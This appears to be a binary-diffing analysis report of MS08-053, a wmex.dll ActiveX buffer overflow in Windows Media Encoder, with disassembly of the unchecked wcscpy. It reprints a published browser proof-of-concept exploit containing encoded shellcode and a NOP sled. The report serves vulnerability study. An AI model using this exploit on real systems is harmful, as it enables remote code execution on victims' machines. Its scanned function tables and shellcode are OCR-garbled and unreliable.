Evil Fingers Analysis Report: MS08-053
By: Ion Visser

MS08-053 — Windows Media Encoder wmex.dll ActiveX Control Buffer Overflow
Analysis Report

* Microsoft Excerpt: MS08-053

Remote code execution vulnerability exists in the WMEX.DLL ActiveX control installed by Windows Media Encoder 9
Series. The vulnerability could allow remote code execution if a user views a specially crafted Web page. If a user is
logged on with administrative user rights, an attacker who successfully exploited this vulnerability could take
complete control of an affected system. An attacker could then install programs, edit (view, change, or delete) data,
create new accounts with full user rights, etc. Users whose accounts are configured to have fewer user rights on the
system could be less impacted than users who operate with administrative user rights.

» Tools and File Info:

- Disassembler: IDA 5.2

- Debugger: OllyDbg

- Diff. Plugin: BinDiff, PatchDiff

- Un-Patched File: wmex.dll (version 9.0.0.2980)
- Patched File: wmex.dll (version 9.0.0.3359)

+  Technical Details:
ActiveX control CLSID: ASD3AD02-7508-4004-B2E9-AD33F087F43C & ProgID: WMEnc.WMEncProfileManager

There is a boundary error in handling the string passed though the vulnerable GetDetailsString() method. It takes
2 parameters supplied by the user: GetDetailsString() (A<string> ,B<numeric>). The stack based buffer, has a fixed
size of 2056 bytes/808h and while copying the string “A” to the buffer, it doesn't check the length, thereby causing
an overflow. And, an overly long string can also overwrite any functions, addresses stored in stack.

The two file versions (un-patched *.2980 vs patched *.3359) when compared has the following changed functions —
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Function1E& =  Mamel Sign 1 Function 2EA  Name 2 Sign 2 sign diff
B se4721f sub_BE4721F 8138 87975 sub_B7FFS75 B-3-11 d=24-3
B se47480 sub_BE47480 24-37:31 B7ffc11 sub_B7FFCT1 25-38-31 d=-1-10
B g=47335 sub_8E47395 10134 87e85d1 sub_87EB501 734 d=340
B =472 sub_BE47B2C 5112 B7=87ef sub_B7EBVEF B-7-2 d=340
B 8ed7c0: sub_BE47COC 452 B7e87c3 sub_B7EB7CI 332 d=120
B gedfest sub_8E47EEB 3124 87174 sub_&7FFF74 7102 d=222
B 5=48032 sub_BE4B092 793 882133 sub_BBZFEI3 E7-2 d=1.21
B sed0122 sub_BE48122 512-4 8800133 sub_BB00193 7102 d=222
B ged81eb sub_SE481ER 10147 8800503 sub_S200563 101449 d=00-2
B g=48435 sub_BE48495 3124 8830098 sub_ 8830032 3121 d=0.04
B 8e40532 sub_BE48532 101410 BB00sec sub_BROOEEC 121812 d=-2-4-2
B g=43008 sub_BE43808 6492 8801c76 sub_S201CTE 574 d=12-2
B gedba7s sub_BE4B478 31-44-31 880372e sub_BB0372E 30-43-31 d=110
B 8=4b3a0 sub_BE4BAAB 56-4 B803c50 sub_BBO3CE0 5-6-2 d=002
B gedb9i0 sub_BE4B9F0 794 8803c8f sub_S203CEF 572 d=222
B gedbai0 sub_8E4BA30 783 8803ce0 sub_8803CE0 782 d=001
B sedbcre sub_BE4BC7C 8107 BB03f5e sub_BB03FSE 8106 d=001
B gedcdtd sub_BE4C414 - 8825fee sub_S829FEE - d=233
0

B et

sub_BE4C38H 8804de5
9 3 -

sub_B804DES
03 3 .

g

B Gedceds sub_S30540E 7318 d=00-1

sub_8E4CEDE 7317 880540

B geddrdz sub_8E4D7D2 332 8805dfe sub_S3050FE 1-0-4 d=23-2
B 8=4d504 sub_BE4DBOD 21-3114 880558 sub_BRO5ESE 20-30-14 d=110
B cedetet sub_BE4E161 3126 8808a0a sub_BA0RA04 7106 d=220
B geded5d sub_8E4E 45D 131311 8808d16 sub_S306016 11710 d=221
B 8edebia sub_BE4EBF3 50-77-69 BB0756a sub_BRO7EEL, 43-7659 d=110
B sedizib sub_BE4F276 23-35-23 8807d0f sub_S307DOF 25.33-23 d=-240
B gedisas sub_BE4F846 18-27-24 880806¢ sub_S30806F 1827-25 d=0.0-1

Line 283 of 394
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Fig 1: changed functions (*.2980 vs *.3359)

Among all the functions sub_8E4CA09 is the function in concern. Here are the visual differences between the flows
of the routine.


http://www.microsoft.com/technet/security/bulletin/ms08-053.mspx
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Fig 2: Visual Difference (sub_8E4CA09)

Here is the zoom of the following WCSCPY code under 08E4CA3A:

Flowgraph | Assembler

KR QU O

4
sub_SEACA0S F

! primary

" o 08edcada
casa  push [ebptarg_a]; wehar_t =
caidd lea eax, [ebprvar_808]
cad3 push eax; wchar_t =
catd  call ds :08DE1458wcscpy
cada  pop ecx
cadb  pop acx
cadc  lea eax, [ebp+var_8]
cadf push eaxy im
cas0  lea eax, [ebp+var_805]
casé push eax; wchar_t *
cas7  call OBE4DB0DsUb_SEADEOD
casc  test eax eax
case mow ecx,80004005h |
caés  jnz short OBE4CAG710c_BE4CAET
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Fig 3: Vulnerable Function

This vulnerable method GetDetailsString() (A<string> ,B<numeric>) is called through WCSCPY and is responsible for
copying the parameter string “A” without checking for its length, and thus overflowing the buffer.
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Following exploit was published at milwOrm on 13" September:

<html>
<pre>

By:

MS08-053 Windows Media Encoder wmex.dll ActiveX Control Buffer Overflow

Calc execution POC Exploit for WinXP SP2 PRO English / IE6.0 SP2

Found by : Nguyen Minh Duc and Le Manh Tung

Advisory : http://www.microsoft.com/technet/security/Bulletin/MS08-053.mspx

Exploit by : haluznik | haluznik<at>gmail.com
09.10.2008

<input language=JavaScript onclick=poc() type=button value="launch exploit">

<OBJECT id="target" classid="clsid:A8D3AD02-7508-4004-B2E9-AD33F087F43C">

</OBJECT>
<script>
function poc () {

var shellcode = unescape (
"%u03eb%ueb59%ue805%ufff8%uffffud949%ud949%ud949%ud948%ud949"
"$ud4949%u4d4949%u4949%u4949%u5a51%ud36a%u3058%u3142%u4250%u6b41"
"$ud142%ud253%u4232%u3241%u4141%ud130%u5841%u3850%u4d242%ud875"
"$u6b69%udd4csu6338%u7574%u3350%u6730%udc70%u734b%su5775%u6edc"
"%u636b%ud54cu6355%u3348%u5831%ubc6fFu704bSu774£%ub6e68%u7360"
'$u716£f%u6530%u6a51%u724b%ude69%5u366bsude54%5udsS6bsudaslsuidede"”
"Su6b51%udf70%udc69%ubeb6csu5964%5u7350%u5344%u5837%u7a41%us546a"
'$u334d%u7831%u4d842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955"
"$ube75%udlob%sul364fsuds544%u6a51%5ub34bsudc56%sud6dbsui26csuldcob”
'$u534b%u376f5u636c%ubal3lsudedbsu’sobsubcdcsub44bsud841%uddeb”
"$u5159%u514c%u3434%ud4add%su3063%u6f31%u6230%udeddsu7lobsub450"
'$udb70%u6b35%u5070%ud4678%ub6c6cFu634b%uddT0%udcd4csudddbsu3s530"
"Subedcsuocdddu6ldbsuS5578%u6a58%u644buded9subbobsub6c30%us5770"
'$u5770%ud4770%udc70%u704b%ud768%u714csudddfSu6b71%5u3346%u6650"
"%udf36%ud4c79%u6e38%udf63%u7130%u306b%ud150%u5878%ub6c70%u534a"
"$u5134%u334f%udeb58%u3978%u6doesudb5asu6loesudbd75u694£5u6377"
"%ud4553%u336a%u726c%u3057%u5069%u626e%u7044%u736£%ud147%ud163"
"$u504c%u4d273%u3159%u5063%u6574%u7035%u546d%u6573%u3362%u306C"
"$ud4163%u7071%ub536c%u6653%u314e%u7475%u7038%u7765%u4370") ;

var buff= "";

var nsp = unescape ("$u06EB%u9090") ;

var sh = unescape ("%$u6950%u74C9") ;

var nop = unescape ("%u9090%u9090%u9090%u9090%u9090%u9090") ;

for (1i=0;1<1638;i++) buff=buff + unescape ("%udl41");
buff = buff + nsp + sh + nop + shellcode;

target.GetDetailsString (buff,1);
}

</script>
</pre>
</html>

# milwOrm.com [2008-09-13]
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On running the published exploit following was the debugger output —

0llyDbg - IEXPLORE.EXE - [CPU - main thread, module wmex]

File ¥ew Debug Plugins Options Window Help
2 = u]e]m| ] mle] 7| K[ B] R[]
4

Registers (FPU)
Ef

3 53 & o
Aoess violation when reading [41414141] - use ShiftsF7/F/F3 ta pass eaception to program Paused

Fig 4: OllyDbg Debug Screen w/ Exploit

Note, on running the exploit and attaching debugger with IEXPLORE.EXE, the EAX register overflows with
0x41414141 and with trace, the instructions responsible for this are:

.text:08E4CA3D lea eax, [ebptvar 808]
.text:08E4CA43 push eax ; wchar t *
.text:08E4CA44 call ds:wcscpy

.text:08E4CA4A pop ecx

.text:08E4CA4B pop ecx

Checking the same functions in IDA, following is the graph for vulnerable version *.2980 —

sub_BE4CADT :
push ebp
mow ebp, es
sub osp, BOBh
mowv eax, dword_GEGGGA4
®or eax, [ebp+d]
and [ebptvar_8], 0
cmp [ebptarg_47, 0
mav [ebptvar_47, eax
inz short 1oc_GE4CAZE
| |
I |
irue false
Toc_BEACAZE:
push  esi DBEACAZT ¢
call  sub_BE4DSZA mov eax, 800040030
S ool oo imp short 1oc_BE4CARE
i short 1oc_B8E4CABD
J [
|
false irue
OBE4CASA:
push [ebp+arg_4] ; wchar_ti +
Tea cax, [ebp+var_808]
push eax 3 wchar_t *
call ds wcsepy
EEE o Toc_BE4CABD:
Noa pax, [ebprvar_B] mov eax, [ebptvar_g]
puch  ean it test  eax; eax
lea sax, [ehp+var,8ﬂﬁ] iz short Toc_BE4CA9A
push eax ; wchar_t =
call sub_BE4DE0D
test Bax, Bax
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It shows in loc_8E4CA2E at conditional check of jl short loc_8E4CA80, FALSE case reaches to 0BE4CA3A
where, the vulnerable instruction WCSCPY is called at 08E4CA44.

On the other hand, the patched version does not have this instruction set. The version *.3359 has deleted this at the
address 08804F20 (patched) against 08E4CA3A (vulnerable) thereby, removing this vulnerability.

Flowgraph

( primary | o secondary |
<Address> Basic Block Basic Block Address
08edcala |push [ebp+arg_4]; wchar_t =
osesca3d [lea sax, [ebprvar_sos]
0Beacas3  |push sax: wehar_t =
0Bedcadd call ds:08DEL1488wCsCpy lea eax,[=bp+var_g08] 08804120
08edcata |pop ecx push eax 08304726
oseacasb  |pop Tea cax, [ebp+var_804] 8804727
oBescadc  |1za push sax ogs04f2d
08e4cadf push call os ub_8B05ESE 0B804f2e
08e4caS0 lea test & 0880433
useacass  |push mov ecx,80004005h 08804735
0mescasy |call inz Short 0BB04FIET6C_BB04FIE ogs04TIa
08e4casc rest
4, mov
oseacass  [jnz SHOP'T OBE4CA6710C_BEACAT
[08e4Ca6s mov e51,80x mov. ebx,ecx 08804T3C
osescass |test esiesi test ebx, ebx ossoafae
oseacass |31 Shor't 0BE4CABD]0C_BEACASD 1 Shor't 08804F6D10C_8B04F6D 08804740
08ed4caéb |cmp [=bp+var_g],0 cmp [=bp+var_g08],0 08804142
08e4cacf jnz short 08E4CA731oc_BE4CATI jnz short 08804F4Dloc_8B804F4D 08804749
j08ed4ca7l mov es5i,80x mov. ebx ,ecx 08804T4b
’ - - ’
j08ed4ca73 |test esi,esi test yebx 08804 F4d
oseacars |1 Shor't 0BE4CABD]0C_BEACASD i1 Shor't 08804F6D10C_8B04F6D 08804747
08e4caz7 |call OBE4CF98sub_BE4CFIE call 088054F8suUb_BBOS4F8 08804T51
0zescarc  |push [ebprarg <] push [=bp+var_s0c] 08204756
oseacart mov sax, [eaxti] mov sax, [eaxti] 0880475 C
escas?  |push eax push eax 0880475
08e4Cas3 push [=bptvar_s] push [=bptvar_sos] 08804T60
08e4Ccage . 08ES2B5Csub_BES2B5C call 0880BEDESsuUb_B8B0EDES 0820466
oseacasb  fmov esi,eax ] — ebx,eax oss04Teb
0ge4cagd mov 2ax, [=bptvar_g] [ ] -/ | v eax,[=bptvar_808] uaaanfsd
test cax,sax -— _— et cax,sax 0804773
oseacasz |j Short OBE4CAIATOC_BEACA9A - | - Short 08804F7D10C_8804F7D 08804775
08e4cass |mov acx, [eax] mov acx, [eax] 08804777
08ed4casc push ax push ax 0880473
08edcas? |call dword ptrecx+a] call dword ptrecx+a] 0g204f7a
0Bescaga |and [ebp+var_s] ,0 and [bp+var_so8] ,0 o8804F7d
osescase |call 0SE4D7D25ub_BE4DTDZ - - call 03805DFEsub_8205 DFE 0z2047E4
08edcaas  |mov eax,es1 mov eax,ebx 08304783
oseacaas |pop pop ebx 08804 Teb
oemacazs o eoreopreer_a L ——r bsasrec
0Be4caas | ecx, [ebp+4] ZuZ = aa0s a0
osedcaac call 08E0B55ESLD_BE08S5E call 087BAEAASUb_87BAEAA 0880451
0824cabl leave
ogedcab:  |retn 10h 12ave oss04roe
retn 10h 0880437

Fig 5: Vulnerable Function Differences

Therefore, the patched version does not show this vulnerability any more.

Disclaimer:

Copyright (c¢) 2006-2008, EvilFingers
All rights reserved.

THIS DOCUMENT IS PROVIDED BY THE COPYRIGHT HOLDERS AND
CONTRIBUTORS AS IS AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING,
BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.



